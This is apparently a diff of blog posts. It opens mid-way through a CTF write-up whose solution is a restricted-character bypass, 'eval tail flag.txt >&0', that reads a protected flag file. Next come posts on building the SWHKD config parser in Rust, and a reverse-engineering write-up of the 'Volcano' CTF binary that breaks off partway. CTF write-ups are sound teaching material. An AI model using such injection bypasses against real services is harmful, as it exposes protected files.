which means we cannot exfiltrate the flag from `stderr` since it is blocked.
|
||||
|
||||
# Inference
|
||||
|
||||
This time, the `check_space` function returns a `1` if there are any characters in the input
|
||||
string among `b`,`d`,`k`,`s` and `c`. If the function returns 1, we get a "restricted characters"
|
||||
message and no further processing happens.
|
||||
|
||||
Once our input passess through the `check_space` function, it is passed in a command
|
||||
substitution with the `stdout` and `stderr` being redirected yet again to `/dev/null`
|
||||
|
||||
```bash
|
||||
output=`$input` &>/dev/null
|
||||
```
|
||||
|
||||
If we cannot read the flag through `stderr` (file descriptor 2) or through `stdout` (file descriptor 1),
|
||||
we can resort to redirecting the output to `stdin` (file descriptor 0).
|
||||
|
||||
# Solution
|
||||
|
||||
We can pass a command that reads and displays the contents of `flag.txt` in an `eval` statement and
|
||||
redirect the output to `stdin`. However, we need a command that does not have the restricted
|
||||
characters. One such command would be `tail` which, by default, reads the last 10 lines of a file.
|
||||
|
||||
```
|
||||
eval tail flag.txt >&0 # Redirect to stdin
|
||||
```
|
||||
|
||||
This gives us the flag `FLAG-s9wXyc9WKx1X6N9G68fCR0M78sx09D3j`.
|
||||
@@ -0,0 +1,163 @@
|
||||
---
|
||||
title: "Test Driven Development - The Pinnacle of Engineering"
|
||||
date: 2024-06-24T08:45:49+05:30
|
||||
tags:
|
||||
- EBNF
|
||||
- Google Summer of Code
|
||||
- Rust
|
||||
- SWHKD
|
||||
- Waycrate
|
||||
- Wayland
|
||||
draft: false
|
||||
---
|
||||
|
||||
Hello and welcome to the seventh instalment in the series where we build a
|
||||
parser for a domain specific language in Rust. I would highly recommend you to
|
||||
go through the previous articles to make sense of what we’ll talk about today.
|
||||
|
||||
## Tying loose ends
|
||||
|
||||
Up until the last post, we had covered quite some ground, from building
|
||||
elementary expressions to the penultimate levels of abstraction for macroscopic
|
||||
expressions.
|
||||
|
||||
Let's begin today's conversation by finishing off where we left off. For us to
|
||||
be able to parse an entire config file, we must have one main rule. We combine
|
||||
all of the primitives that we have built so far: comments, modes, bindings,
|
||||
unbinds and imports into a blanket content expression.
|
||||
|
||||
```ebnf
|
||||
content = _{ comment | mode | unbind | binding | import | NEWLINE }
|
||||
```
|
||||
|
||||
Obviously, a configuration file in the wild might very well have more than
|
||||
one of the aforementioned primitives. Thus, to top it all off, we build a
|
||||
final `main` expression that we subsequently use in the code side to match the
|
||||
contents of a file.
|
||||
|
||||
```ebnf
|
||||
main = {
|
||||
SOI ~ content* ~ EOI
|
||||
}
|
||||
```
|
||||
|
||||
The expression starts with a `SOI` or a _start of identifier_ which is a fancy
|
||||
way of saying start of a file in [pest](https://pest.rs). It may contain zero or
|
||||
more of the blanket `content` expressions that we defined a while ago. Finally,
|
||||
we have to mark it with an `EOI`, which stands for _end of identifier_.
|
||||
|
||||
## Writing tests
|
||||
|
||||
Writing tests for this parser proved to be a relatively straightforward task,
|
||||
as many of them were already available from the previous version of the parser.
|
||||
This allowed us to both port the basic tests as well as build upon existing test cases
|
||||
that specifically targeted the changes made in this iteration.
|
||||
|
||||
The original crate made use of `std::io::Result` instead of defining its own error type
|
||||
and while offloading the errors to an already available type might sound like less work,
|
||||
it often meant that the grammar related errors had to be unwraps, panics, asserts or in
|
||||
the worst case, just unrelated to `io::Result` itself.
|
||||
|
||||
Tell me, how does a missing identifier error make sense as an `io::Error`? It doesn't,
|
||||
that's why we are using the standard `Result` type with the error generic type to be
|
||||
our custom error type.
|
||||
|
||||
Thus, the tests we're writing have the general signature like so:
|
||||
|
||||
```rust
|
||||
#[test]
|
||||
fn test_multiple_keybinds() -> Result<(), ParseError> { /* ... */ }
|
||||
```
|
||||
|
||||
A significant portion of these tests involved asserting that keybinds in the
|
||||
config files matched their internal representations. We do this by defining
|
||||
a known representation (starting off with a close enough guess) and asserting
|
||||
whether it matches what has been parsed.
|
||||
|
||||
Consider the `test_command_with_many_spaces` test: we define the raw contents
|
||||
and let the parser ingest it.
|
||||
|
||||
```rust
|
||||
let contents = "
|
||||
p
|
||||
xbacklight -inc 10 -fps 30 -time 200
|
||||
";
|
||||
let parsed = SwhkdParser::from(&contents)?;
|
||||
```
|
||||
|
||||
Following this, we define what we know is going to be the internal representation.
|
||||
|
||||
```rust
|
||||
let known = vec![Binding {
|
||||
definition: Definition {
|
||||
modifiers: vec![],
|
||||
key: Key::new("p", KeyAttribute::None),
|
||||
},
|
||||
command: String::from("xbacklight -inc 10 -fps 30 -time 200"),
|
||||
}];
|
||||
```
|
||||
|
||||
Finally, we assert whether these two bindings actually match.
|
||||
|
||||
```rust
|
||||
assert_eq!(parsed.bindings, known);
|
||||
```
|
||||
|
||||
Furthermore, some error tests became trivially easy thanks to the pest crate's
|
||||
ability to generate meaningful errors. All we had to do was assert whether a
|
||||
given result was an error or not, which greatly simplified the testing process.
|
||||
|
||||
Consider the following test where we simply use the `is_err` method to check for errors.
|
||||
|
||||
```
|
||||
#[test]
|
||||
fn test_invalid_keybinding() {
|
||||
let contents = "
|
||||
p
|
||||
xbacklight -inc 10 -fps 30 -time 200
|
||||
|
||||
pesto
|
||||
xterm
|
||||
";
|
||||
|
||||
assert!(SwhkdParser::from(&contents).is_err());
|
||||
}
|
||||
```
|
||||
|
||||
In the future, we can take advantage of the extensibility and check for line and column
|
||||
numbers to be extra precise.
|
||||
|
||||
While porting the tests, I also came across a bug where using a single letter for a binding
|
||||
would be ignored. Turns out that a multi cartesian product of a vector of vectors
|
||||
(all the modifier variant groups) works fine with a vector of keys except when all
|
||||
modifier groups are empty. In such a case, the multi cartesian product has no output.
|
||||
|
||||
Mathematically, the cartesian product of {phi, phi, ..., phi} is phi but the cartesian product of
|
||||
{} yields no value at all. Thus, we had to create a small check as a fix before blinding computing the cartesian products.
|
||||
|
||||
```rust
|
||||
fn compile(self) -> Vec<Definition> {
|
||||
if self.modifiers.is_empty() {
|
||||
return self
|
||||
.keys
|
||||
.into_iter()
|
||||
.map(|key| Definition {
|
||||
modifiers: vec![],
|
||||
key,
|
||||
})
|
||||
.collect();
|
||||
}
|
||||
self.modifiers
|
||||
.into_iter()
|
||||
.multi_cartesian_product()
|
||||
.cartesian_product(self.keys)
|
||||
.map(|(modifiers, key)| Definition { modifiers, key })
|
||||
.collect()
|
||||
}
|
||||
```
|
||||
|
||||
Here, in the case where there are no modifiers variant groups, we instead anchor on the keys and
|
||||
generate the definitions.
|
||||
|
||||
Okay. I know that was a long read. It took me quite some time to write this too but hopefully, you
|
||||
can learn from my mistakes and embrace testing slightly ahead of time. See you soon.
|
||||
171
content/post/the-gsoc-grand-finale.md
Normal file
@@ -0,0 +1,171 @@
|
||||
---
|
||||
title: "Wrapping up GSoC 2024"
|
||||
date: Sat, 24 Aug 2024 10:28:50 +0530
|
||||
tags:
|
||||
- EBNF
|
||||
- Google Summer of Code
|
||||
- Rust
|
||||
- SWHKD
|
||||
- Waycrate
|
||||
- Wayland
|
||||
draft: false
|
||||
---
|
||||
|
||||
# Overview
|
||||
|
||||
Hello and welcome to the final GSoC post for 2024! My task was to formalize the SWHKD parser using context-free EBNF notation. This post is to serve as a birdseye view of what
|
||||
I have developed over this summer.
|
||||
|
||||
# Report
|
||||
|
||||
## Architecting the parser
|
||||
|
||||
I started out with the scaffolding of the parser in an extended Backus-Naur form garmmar template
|
||||
in a separate repository called [SWEET](https://github.com/waycrate/sweet) using a Rust framework
|
||||
called [pest.rs](https://pest.rs). Quite a lot of time was
|
||||
spent in modelling the architecture of the syntax tree for our domain specific language.
|
||||
|
||||
Here's a simplified syntax tree of the grammar parser.
|
||||
|
||||

|
||||
|
||||
One of the most helpful design choices was to have an acyclic dependency graph which enabled composing
|
||||
expressions into larger blocks.
|
||||
|
||||
## Isolating shorthands into separate expressions
|
||||
|
||||
Shorthands expressions inside curly braces which were previously parsed dynamically have now been moved
|
||||
to work statically from the grammar side itself. This has two advantages:
|
||||
|
||||
- The matching of both comma separated _"slices"_ and dash separated _"ranges"_ can be proven from the grammar template itself.
|
||||
- Due to the greedy token matching of EBNF, the negative lookaheads guarantee a finite number of tokens to match a slice or range.
|
||||
- Extracting the components inside these blocks are performed in a single pass.
|
||||
|
||||
The latter is a theme that will continue throughout the rest of this report.
|
||||
|
||||
## Adopting static checks
|
||||
|
||||
Many of the earlier hand-rolled checks have now been moved to the grammar side and are now performed statically.
|
||||
We are borrowing a concept from the Rust programming language itself which promotes making invalid states unrepresentable.
|
||||
|
||||
One such example is validating characters inside ranges. The specification requires these characters
|
||||
to be within the ASCII range. We define this constraint inside the grammar template itself.
|
||||
|
||||
This way, if some invalid input is supplied, it never hits the business logic and the program errors out early.
|
||||
|
||||
## Separating channels of commands and mode instructions
|
||||
|
||||
SWHKD supports entering or escaping a mode by placing special instructions after the double ampersands between two commands.
|
||||
Previously,
|
||||
these instructions were extracted from the commands dynamically right before they were being run
|
||||
line by line. This led to edge cases where the command being run is not what the user intended.
|
||||
|
||||
To sanitize this, we perform static extraction of these modes in the context of an entire block of
|
||||
commands. We create a separate structure linked to a command structure that can hold arbitrarily many of these mode instructions
|
||||
and the instructions are run only after all the command chunks have been executed.
|
||||
|
||||
## Unified shorthand syntax
|
||||
|
||||
This is one of the breaking changes introduced in the new parser.
|
||||
|
||||
Previously, when modifiers were
|
||||
used inside shorthands, one could place the concatenator (plus sign) either outside or inside the
|
||||
braces. This allowed somewhat off looking combinations like these:
|
||||
|
||||
```
|
||||
{super, control + } + a
|
||||
notify-send {'hello', 'goodbye'}
|
||||
```
|
||||
|
||||
This was allowed because the older parser simply ignored the concatenator, using the closing curly
|
||||
brace as a confirmation for the end of a shorthand.
|
||||
|
||||
The new parser disallows this behavior. When using multiple modifiers, one must simply place an concatenator after the shorthand ends.
|
||||
The above example then turns into the following:
|
||||
|
||||
```
|
||||
{super, control} + a
|
||||
notify-send {'hello', 'goodbye'}
|
||||
```
|
||||
|
||||
Now there's at most one way to do shorthands correct:
|
||||
- A shorthand must contain at least two variants. It makes no sense to use shorthands otherwise.
|
||||
- Any literal like a comma or a curly brace inside a shorthand must be escaped
|
||||
- Literals do not need to be escaped outside shorthand contexts.
|
||||
- Shorthands with omissions (underscore elements) must always have a concatenator appended to each non-empty element. For example, unlike `{control, super} + a`, in `{_, super + } a` adding a plus to `super` inside the shorthand is the only valid syntax.
|
||||
|
||||
A good comparison would be bash or Rust macro expansions. Here's an animation as to how we perform
|
||||
a "compilation".
|
||||
|
||||

|
||||
|
||||
The new parser simply keeps track of shorthand values including ranges and slices as long as it is
|
||||
ingesting newer content. These shorthands are lazily evaluated in the end when all files, including
|
||||
imports have been ingested.
|
||||
|
||||
## More human friendly errors
|
||||
|
||||
One of the most difficult ways to get a working config for a tool like SWHKD is the lack of helpful
|
||||
errors. The new parser addresses most of these issues. With the pest crate, we have been able to
|
||||
provide rich contextual errors. Here's an example:
|
||||
|
||||
```
|
||||
Error: unable to parse config file
|
||||
|
||||
Caused by:
|
||||
--> hotkeys.swhkd:20:11
|
||||
|
|
||||
20 | super + k + control
|
||||
| ^---
|
||||
|
|
||||
= expected command
|
||||
```
|
||||
|
||||
Instead of just printing what the error was, we try to help the user by letting them know about what
|
||||
the parser expected, where in the source file does the error exists and any suggestion available to
|
||||
fix the error.
|
||||
|
||||
This not only applies to the grammar errors but to all of the errors in the business logic. Here's an
|
||||
example of when the number of shorthand variants in the trigger don't match the number of command variants.
|
||||
|
||||
```
|
||||
Error: unable to parse config file
|
||||
|
||||
Caused by:
|
||||
--> 35:1
|
||||
|
|
||||
35 | super + {alt + , _, shift + } a
|
||||
36 | notify-send 'hello'␊
|
||||
| ^------------------^
|
||||
|
|
||||
= the number of possible binding variants 3 does not equal the number of possible command variants 1.
|
||||
```
|
||||
|
||||
Our custom error
|
||||
structures wrap around pest's error types to provide such additional context as and when needed.
|
||||
|
||||
## Precautions
|
||||
|
||||
Before parsing any config files supplied as input, we perform the following sanity checks:
|
||||
|
||||
- Ensure that the files are within the predefined file-size capacity. This capacity can be configured
|
||||
during compilation by modifying the `build.rs` file.
|
||||
- Ensure the file being supplied is a regular file. This is a cautionary measure against an older [CVE-2022-27814](https://github.com/advisories/GHSA-x446-3xhq-5xfp).
|
||||
|
||||
|
||||
# Relevant links
|
||||
|
||||
- Source tree for the parser: [waycrate/sweet](https://github.com/waycrate/sweet)
|
||||
- PR to integrate `sweet` into `swhkd`: [#265](https://github.com/waycrate/swhkd/pull/265)
|
||||
|
||||
# Conclusion
|
||||
|
||||
Debugging a context free grammar syntax like EBNF was certainly challenging although this issue was solved
|
||||
relatively easily thanks to the excellent editor provided at the [pest.rs](https://pest.rs) website. The parser
|
||||
has reached complete feature parity, being slightly stricter in some cases as I
|
||||
had planned with my mentor, Aakash Sen Sharma. Huge thanks to him for the helping me out with getting familiar
|
||||
with the codebase quickly. The rest of the waycrate community has also been incredibly warm and welcoming.
|
||||
|
||||
I plan to add a heuristics model to SWHKD for detecting input devices better and more generally
|
||||
to continue improving SWHKD. Feel free to check out related posts [here](https://lavafroth.is-a.dev/tags/google-summer-of-code) that go deeper into the process
|
||||
of building this parser. This has been my GSoC 2024, thank you so much for reading this!
|
||||
127
content/post/timing-is-key.md
Normal file
@@ -0,0 +1,127 @@
|
||||
---
|
||||
title: "Timing is Key: A Tale of Keystrokes and Timings"
|
||||
date: 2024-05-29T21:18:22+05:30
|
||||
tags:
|
||||
- EBNF
|
||||
- Google Summer of Code
|
||||
- Rust
|
||||
- SWHKD
|
||||
- Waycrate
|
||||
- Wayland
|
||||
draft: false
|
||||
---
|
||||
|
||||
Whether you're playing a video game or competing in a constrained attack-defense CTF, your keystroke timings matter.
|
||||
We at waycrate value your precision, to the extent that you can configure your keybindings to perform actions either
|
||||
on a key's press or a release.
|
||||
|
||||
Hi, my name's Himadri and this post is a part of a series explaining how
|
||||
we (basically just me) are rewriting the config parser for swhkd using EBNF
|
||||
grammar. I highly recommend reading the previous posts because I'll be referring
|
||||
to them from time to time. In the last post, we talked about regular keys
|
||||
that form the foundation of bindings. However, we glossed over the `send` and
|
||||
`on_release` expressions in the code.
|
||||
|
||||
The `send` and `on_release` attributes are extensions that could be added to regular keys to be more specific about
|
||||
the timing of an event. To make a binding respond to either key presses or releases, they are prefixed with the `~`
|
||||
or the `@` characters respectively.
|
||||
|
||||

|
||||
|
||||
For example, a bindings with that responds to `super` `a` can be made to respond specifically to the keypress instead
|
||||
of the key release like the following:
|
||||
|
||||
```
|
||||
super + ~a
|
||||
notify-send 'hello'
|
||||
```
|
||||
|
||||
Now, to encode this as a formal grammar, we need to observe that these
|
||||
attributes can be used both inside and outside shorthand contexts. This means,
|
||||
the binding declarations `super + ~a` and `super + {@a, ~b}` are equally valid.
|
||||
|
||||
Intuitively, this begs the question of how keys like `~` or `@` could be specified literally.
|
||||
The answer is similar to what we did for commas and dashes in shorthand contexts, we need
|
||||
to escape the keys. The only difference this time is that the keys are escaped both inside
|
||||
and outside shorthand contexts. In retrospective, the plus sign that has been serving as
|
||||
the concatenator also needs to be escaped for literal representation.
|
||||
|
||||
To fix this, let's declare a convenience expression called `keys_always_escaped`.
|
||||
|
||||
```python
|
||||
keys_always_escaped = _{ "\\~" | "\\@" | "\\+" }
|
||||
```
|
||||
|
||||
This is how we will allow the user to literally mention a tilde or a plus.
|
||||
|
||||
Next, we modify the expression for a regular `key` to include these escaped literals besides the regular
|
||||
ASCII alphanumeric characters.
|
||||
|
||||
We change the expression from
|
||||
|
||||
```python
|
||||
key = { ^"enter" | ^"return" | ASCII_ALPHANUMERIC }
|
||||
```
|
||||
|
||||
to the following:
|
||||
|
||||
```python
|
||||
key = { keys_always_escaped | ^"enter" | ^"return" | ASCII_ALPHANUMERIC }
|
||||
```
|
||||
|
||||
Don't worry, we will add other symbols like semicolons, parentheses and the like to this expression
|
||||
but we are starting off being a bit restrictive so that we can catch errors early.
|
||||
|
||||
We have to compensate for this change for the code side as well. This is the first time you'll see
|
||||
real code from the project besides the formal grammar.
|
||||
|
||||
```rust
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct Key {
|
||||
pub key: String,
|
||||
pub attribute: KeyAttribute,
|
||||
}
|
||||
```
|
||||
|
||||
Notice how the `Key` variant has a field called `attribute` of type
|
||||
`KeyAttribute`. This `KeyAttribute` is a bitflag represented by a
|
||||
`u8` or a single byte. Why a single byte? Because it makes the underlying data
|
||||
fairly inexpensive to copy. Although a boolean value should ideally be represented
|
||||
by a single bit, most modern processor architectures use a single byte to represent them.
|
||||
Bitflags can help us shave off the unused space.
|
||||
We are using macros fromthe bitflag crate since Rust
|
||||
does not natively have C-styled bitflags.
|
||||
|
||||
```rust
|
||||
bitflags::bitflags! {
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash)]
|
||||
pub struct KeyAttribute: u8 {
|
||||
const None = 0b00000000;
|
||||
const Send = 0b00000001;
|
||||
const OnRelease = 0b00000010;
|
||||
const Both = Self::Send.bits() | Self::OnRelease.bits();
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
According to the bitflag, the variant `None` is internally represented by a `0`,
|
||||
`Send` is represented as a `1`, `OnRelease` as `2`, etc. Since all we care about
|
||||
is whether an attribute is there or not, we can use a single bit as a bin for
|
||||
each attribute. Any time we see one of the variants, we bitwise or the current
|
||||
attribute set to flip the respective bit on.
|
||||
|
||||
```rust
|
||||
match inner.as_rule() {
|
||||
Rule::send => attribute |= KeyAttribute::Send,
|
||||
Rule::on_release => attribute |= KeyAttribute::OnRelease,
|
||||
Rule::key => key = pair_to_string(inner),
|
||||
_ => {}
|
||||
}
|
||||
```
|
||||
|
||||
This saves us from writing cumbersome if statements that would have made more
|
||||
sense if counting the occurrences was involved.
|
||||
|
||||
That's all for today, I hope you were impressed by the bitwise trick. In the
|
||||
next post, I will talk about how I'm implementing the grammar for modifier keys
|
||||
and how they can be different from regular keys. See you soon!
|
||||
583
content/post/volcano-reverse-engineering-AmateursCTF-2023.md
Normal file
@@ -0,0 +1,583 @@
|
||||
---
|
||||
title: "Volcano"
|
||||
tags:
|
||||
- AmateursCTF
|
||||
- CTF
|
||||
- Remainder Theorem
|
||||
- Reverse Engineering
|
||||
date: 2023-07-21T18:29:59+05:30
|
||||
draft: false
|
||||
---
|
||||
|
||||
This reversing challenge is very mathematical, focusing mainly on modulo congruences.
|
||||
Like all challenges, there is some scary looking obfuscation for the fun which I'll try my best to
|
||||
explain. The challenge description says that it was *inspired by recent "traumatic" events* but I'm oblivious to what that
|
||||
reference meant.
|
||||
|
||||
## Decompilation
|
||||
|
||||
We start off with downloading the binary and opening it in Ghidra.
|
||||
|
||||
In the list of functions under the Symbol Tree, we can navigate to the `entry` function which looks like:
|
||||
|
||||
```C
|
||||
void processEntry entry(undefined8 param_1,undefined8 param_2)
|
||||
{
|
||||
undefined auStack_8 [8];
|
||||
|
||||
__libc_start_main(FUN_001014a7,param_2,&stack0x00000008,FUN_00101760,FUN_001017d0,param_1,auStack_8);
|
||||
do {
|
||||
/* WARNING: Do nothing block with infinite loop */
|
||||
} while( true );
|
||||
}
|
||||
```
|
||||
|
||||
Notice the call to `__libc_start_main`, the first argument supplied is a function pointer which points to the main function.
|
||||
|
||||
I have a habit of renaming variables in Ghidra so that they make some sense. I will rename this function to `main`.
|
||||
|
||||
```C
|
||||
__libc_start_main(main,param_2,&stack0x00000008,FUN_00101760,FUN_001017d0,param_1,auStack_8);
|
||||
```
|
||||
|
||||
### `main`
|
||||
|
||||
If we double click on the newly renamed `main` function, we will see a function that has a massive cyclomatic complexity in the decompiler view.
|
||||
I will try to make this more sensible by selecting the generated identifiers, then renaming (pressing `L`) and retyping (`Ctrl` `L`).
|
||||
|
||||
```C
|
||||
int main(void)
|
||||
|
||||
{
|
||||
bool ok;
|
||||
bool _ok;
|
||||
int ret;
|
||||
long n_volcano;
|
||||
long n_bear;
|
||||
ulong m_v;
|
||||
ulong m_b;
|
||||
long fs_register;
|
||||
ulong bear;
|
||||
ulong volcano;
|
||||
ulong proof;
|
||||
ulong leet;
|
||||
FILE *flag;
|
||||
char buf [136];
|
||||
long canary;
|
||||
|
||||
canary = *(long *)(fs_register + 0x28);
|
||||
setbuf(stdin,(char *)0x0);
|
||||
setbuf(stdout,(char *)0x0);
|
||||
setbuf(stderr,(char *)0x0);
|
||||
printf("Give me a bear: ");
|
||||
bear = 0;
|
||||
scanf("%llu",&bear);
|
||||
ok = process_bear(bear);
|
||||
if (ok) {
|
||||
printf("Give me a volcano: ");
|
||||
volcano = 0;
|
||||
scanf("%llu",&volcano);
|
||||
_ok = process_volcano(volcano);
|
||||
if (_ok) {
|
||||
printf("Prove to me they are the same: ");
|
||||
proof = 0;
|
||||
leet = 0x1337;
|
||||
scanf("%llu",&proof);
|
||||
if (((proof & 1) == 0) || (proof == 1)) {
|
||||
puts("That\'s not a valid proof!");
|
||||
ret = 1;
|
||||
}
|
||||
else {
|
||||
n_volcano = n_digits(volcano);
|
||||
n_bear = n_digits(bear);
|
||||
if (n_volcano == n_bear) {
|
||||
n_volcano = sum_of_digits(volcano);
|
||||
n_bear = sum_of_digits(bear);
|
||||
if (n_volcano == n_bear) {
|
||||
m_v = check_proof(leet,volcano,proof);
|
||||
m_b = check_proof(leet,bear,proof);
|
||||
if (m_v == m_b) {
|
||||
puts("That looks right to me!");
|
||||
flag = fopen("flag.txt","r");
|
||||
fgets(buf,0x80,flag);
|
||||
puts(buf);
|
||||
ret = 0;
|
||||
goto LAB_00101740;
|
||||
}
|
||||
}
|
||||
}
|
||||
puts("Nope that\'s not right!");
|
||||
ret = 1;
|
||||
}
|
||||
}
|
||||
else {
|
||||
puts("That doesn\'t look like a volcano!");
|
||||
ret = 1;
|
||||
}
|
||||
}
|
||||
else {
|
||||
puts("That doesn\'t look like a bear!");
|
||||
ret = 1;
|
||||
}
|
||||
LAB_00101740:
|
||||
if (canary != *(long *)(fs_register + 0x28)) {
|
||||
/* WARNING: Subroutine does not return */
|
||||
__stack_chk_fail();
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
```
|
||||
|
||||
The program asks for an unsigned long integer as a bear. It calls a subroutine to process the integer
|
||||
and stores the result in the `ok` variable.
|
||||
|
||||
```C
|
||||
printf("Give me a bear: ");
|
||||
bear = 0;
|
||||
scanf("%llu",&bear);
|
||||
ok = process_bear(bear);
|
||||
```
|
||||
|
||||
The next block only executes when `ok` is true.
|
||||
|
||||
```C
|
||||
if (ok) {
|
||||
// ...
|
||||
}
|
||||
```
|
||||
|
||||
Inside this block, the program for another unsigned long integer as before but calls it a volcano, running
|
||||
a check specific to this input.
|
||||
|
||||
```C
|
||||
printf("Give me a volcano: ");
|
||||
volcano = 0;
|
||||
scanf("%llu",&volcano);
|
||||
_ok = process_volcano(volcano);
|
||||
```
|
||||
|
||||
The next conditional block executes when this `process_volcano` subroutine return true.
|
||||
|
||||
```C
|
||||
if (_ok) {
|
||||
// ...
|
||||
}
|
||||
```
|
||||
|
||||
The program then asks for another unsigned long integer as a proof for the *"volcano"* and the *"bear"* being the same.
|
||||
|
||||
```C
|
||||
printf("Prove to me they are the same: ");
|
||||
proof = 0;
|
||||
leet = 0x1337;
|
||||
scanf("%llu",&proof);
|
||||
```
|
||||
|
||||
If the proof value's last bit (`proof & 1`) is 0, meaning if the proof is even or it is 1, we get the bad ending
|
||||
that says, "That's not a valid proof!"
|
||||
|
||||
```C
|
||||
if (((proof & 1) == 0) || (proof == 1)) {
|
||||
puts("That\'s not a valid proof!");
|
||||
ret = 1;
|
||||
}
|
||||
```
|
||||
|
||||
For the good ending, we check what's in the `else` block.
|
||||
|
||||
Here, I have renamed two functions to `n_digits` and `sum_of_digits` because that is exactly what they do.
|
||||
There's nothing worth explaining about them in particular but you may check them if you are following along.
|
||||
|
||||
First we need the number of digits in the volcano and bear digits to be equal.
|
||||
|
||||
```C
|
||||
n_volcano = n_digits(volcano);
|
||||
n_bear = n_digits(bear);
|
||||
if (n_volcano == n_bear) {
|
||||
// ...
|
||||
}
|
||||
```
|
||||
|
||||
Our second constraint is that the sum of the digits must equal for the volcano and the bear.
|
||||
|
||||
```C
|
||||
n_volcano = sum_of_digits(volcano);
|
||||
n_bear = sum_of_digits(bear);
|
||||
if (n_volcano == n_bear) {
|
||||
// ...
|
||||
}
|
||||
```
|
||||
|
||||
Finally the happy ending happens when the result of a proof checking function is the same for both the numbers.
|
||||
|
||||
```C
|
||||
m_v = check_proof(leet,volcano,proof);
|
||||
m_b = check_proof(leet,bear,proof);
|
||||
if (m_v == m_b) {
|
||||
puts("That looks right to me!");
|
||||
flag = fopen("flag.txt","r");
|
||||
fgets(buf,0x80,flag);
|
||||
puts(buf);
|
||||
ret = 0;
|
||||
goto LAB_00101740;
|
||||
}
|
||||
```
|
||||
|
||||
Now, I will visit the functions that I had glossed over earlier.
|
||||
|
||||
### `process_bear`
|
||||
|
||||
The decompilation looks like the following after some renaming and cleanup.
|
||||
|
||||
```C
|
||||
bool process_bear(ulong b) {
|
||||
if ((b & 1) == 0) {
|
||||
if (b % 3 == 2) {
|
||||
if (b % 5 == 1) {
|
||||
if (b + ((b - b / 7 >> 1) + b / 7 >> 2) * -7 == 3) {
|
||||
if (b % 0x6d == 0x37) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
```
|
||||
|
||||
This function gives us the constraints for the unsigned long integer represented by "bear".
|
||||
The function only returns true when all of the following conditions are met by the number:
|
||||
|
||||
- The last bit is zero (`b & 1 == 0`), meaning, it is even.
|
||||
- When divided by 3, yields the remainder of 2.
|
||||
- When divided by 5, yields the remainder of 1.
|
||||
- When divided by 0x6d, yields the remainder of 0x37.
|
||||
- The madness that is `b + ((b - b / 7 >> 1) + b / 7 >> 2) * -7 == 3`
|
||||
|
||||
Okay, calm down, the last part is not very hard to decipher. Let's work it out piece by piece.
|
||||
|
||||
The right shift operation (`>>`) implies division by 2 to the power of something. So the innermost parenthetic expression
|
||||
`b - b / 7 >> 1` means to divide `b - b / 7` by 2 to the power of 1.
|
||||
|
||||
When considered as a purely mathematical expression, we can perform the following simplification.
|
||||
|
||||
{{< math volcano-expression-0.svg >}}
|
||||
|
||||
{{< math "volcano-expression-1.svg" >}}
|
||||
|
||||
{{< math "volcano-expression-0.svg" >}}
|
||||
|
||||
{{< math "volcano-expression-1.svg" >}}
|
||||
|
||||
{{< math "volcano-expression-2.svg" >}}
|
||||
|
||||
{{< math "volcano-expression-3.svg" >}}
|
||||
|
||||
{{< math "volcano-expression-4.svg" >}}
|
||||
|
||||
{{< math "volcano-expression-5.svg" >}}
|
||||
|
||||
We can cancel the 4s in the numerator since they were results of the shift operations.
|
||||
|
||||
{{< math "volcano-expression-6.svg" >}}
|
||||
|
||||
However, we cannot cancel out the 7s since they were part of the C division.
|
||||
Remember, the divison operation in C results in the truncated integer quotient, not a floating point number.
|
||||
This means
|
||||
|
||||
{{< math "volcano-expression-7.svg" >}}
|
||||
|
||||
here gives us the largest multiple of 7 below `b`.
|
||||
|
||||
Another way to think of it is the part of `b` that is divisible by 7, leaving out the remainder.
|
||||
|
||||
When we subtract this from the original number, we get what was left out, the remainder itself!
|
||||
|
||||
The entire condition simplifies to:
|
||||
|
||||
```C
|
||||
b % 7 == 3
|
||||
```
|
||||
|
||||
This will be another constraint for the `bear` number.
|
||||
|
||||
### `process_volcano`
|
||||
|
||||
The decompilation after renames and cleanups looks like the following:
|
||||
|
||||
```C
|
||||
bool process_volcano(uint64_t v) {
|
||||
uint64_t total_bits = 0;
|
||||
for (uint64_t i = v; i != 0; i = i >> 1) {
|
||||
total_bits = total_bits + (i & 1);
|
||||
}
|
||||
if (total_bits > 0x11) && (total_bits < 0x1b) {
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
```
|
||||
|
||||
Here the program loops over the bits in the number supplied and counts the ones that are high.
|
||||
The function only returns a true value when the total number of high bits is between 17 (0x11, inclusive) and 27 (0x1b, exclusive).
|
||||
|
||||
This is a constraint for the `volcano` number.
|
||||
|
||||
### `check_proof`
|
||||
|
||||
As usual, I have cleaned some of the code, renamed a bunch of variables for them to make sense.
|
||||
|
||||
```C
|
||||
uint64_t check_proof(uint64_t leet, uint64_t v, uint64_t proof) {
|
||||
uint64_t ret = 1, mod = leet % proof;
|
||||
for (uint64_t i = v; i != 0; i = i >> 1) {
|
||||
if (i & 1) {
|
||||
ret = (ret * mod) % proof;
|
||||
}
|
||||
mod = (mod * mod) % proof;
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
```
|
||||
|
||||
This function begins by defining a return variable as 1 and another variable `mod` as result of the `leet` modulo the proof value. I have renamed this
|
||||
variable leet since 0x1337 is the only number supplied as the argument throughout the program.
|
||||
|
||||
It then loops over the bits of the argument `v`. If a given bit is high, the return value gets assigned itself multiplied by the `mod`, modulo the proof value.
|
||||
Otherwise, the `mod` variable gets assigned itself squared, modulo the proof.
|
||||
|
||||
Recall that the result of this function must be equal for both the `volcano` and the `bear` number.
|
||||
|
||||
How do we make sure that the results are equal if there is so much of pseudo-randomness involved?
|
||||
|
||||
Our best option is to somehow have the `mod` variable as 1 since anything times 1 is itself.
|
||||
The return value in such a case is bound to its initial value of 1 for any non-zero proof value.
|
||||
|
||||
For this to happen, `leet % proof` must be equal to 1. Noting that 0x1337 (4919) is the only value passed as leet,
|
||||
we have the constraint
|
||||
|
||||
{{< math "volcano-expression-8.svg" >}}
|
||||
|
||||
The congruence can be rewritten as:
|
||||
|
||||
{{< math "volcano-expression-9.svg" >}}
|
||||
|
||||
{{< math "volcano-expression-10.svg" >}}
|
||||
|
||||
{{< math "volcano-expression-11.svg" >}}
|
||||
|
||||
Earlier, we noted that the proof value cannot be 1 and it cannot be even.
|
||||
Thus, we need an odd proof value that divides 4918 without leaving any remainder.
|
||||
|
||||
